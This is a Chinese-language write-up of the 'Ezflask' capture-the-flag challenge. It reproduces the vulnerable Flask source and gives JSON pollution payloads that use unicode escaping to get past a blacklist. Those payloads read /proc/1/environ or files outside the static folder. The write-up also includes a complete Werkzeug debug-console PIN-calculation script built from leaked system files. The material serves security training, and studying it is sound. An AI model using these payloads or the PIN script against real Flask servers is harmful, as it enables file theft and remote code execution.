参考链接
原型链污染相关
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://tttang.com/archive/1876/
proc环境变量
https://www.anquanke.com/post/id/241148#h2-1
python内置属性
https://www.cnblogs.com/zhjblogs/p/14725666.html
PIN码构造
https://pysnow.cn/archives/170/
https://xz.aliyun.com/t/11647
Ezflask
题目信息
打开就是源码:
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
利用思路
看到merge函数,知道是python的原型链污染,在index()里可以读文件
后面分两种做法,读系统变量或者算PIN码
非预期
- 访问/register路由注册功能,发payload污染原型属性
- 访问首页,读取环境变量文件,获取flag
预期解
flask开了debug模式,可以进控制台、算PIN码
- 访问/register路由注册功能,发payload污染原型属性
- 访问首页,读取一系列文件,为算PIN码做准备
- 用脚本算出PIN码
- 访问/console获取权限
Payload
非预期
file
__init__被过滤了,但是json.loads()可以识别unicode,可以绕过
然后污染__file__属性,因为index()里可以用它读文件
{
"username":"fuck",
"password":"you",
"__init_\u005f":{
"__globals__":{
"__file__":"../../../proc/1/environ"
}
}
}
1.访问注册功能,发payload污染路由
2.访问网页根目录读文件
_static_folder
还有另外一种方法,污染flask里的原型属性app._static_folder。
这个属性默认值是服务器上的"./static",假设访问http://localhost/static/xxx,等于访问服务器上./static/xxx文件,如果污染_static_folder="/",再访问http://localhost/static/xxx,就是访问服务器上/xxx了。
{
"username":"fuck",
"password":"you",
"__init_\u005f":{
"__globals__":{
"app":"../../../aaaaaa"
}
}
}
1.访问注册功能,发payload污染路由
2.访问/static/xxxx,读取文件
预期解
读/etc/passwd得到用户名
读文件报错得到app.py的路径
读网卡地址
读machine-id
读container-id
算PIN码
import hashlib
from itertools import chain
# werkzeug2.0.x 高版本
probably_public_bits = [
'root' # /etc/passwd里找用户
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir,读文件时,报错得到
]
"""
参数一:/sys/class/net/eth0/address 网卡地址转10进制
参数二:(/etc/machine-id || /proc/sys/kernel/random/boot_id) + (/proc/self/cgroup)
其中machine-id优先级大于boot_id,二者取其一
"""
private_bits = [
str(int("3e:27:a9:b6:a7:61".replace(":", ""), 16)),
'96cec10d3d9307792745ec3b85c89620' + "docker-0a9c35845909725f1ccc0a7d6f49b2875bce0e5398a2b006886823193b78d3c0.scope"
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
getshell,获取flag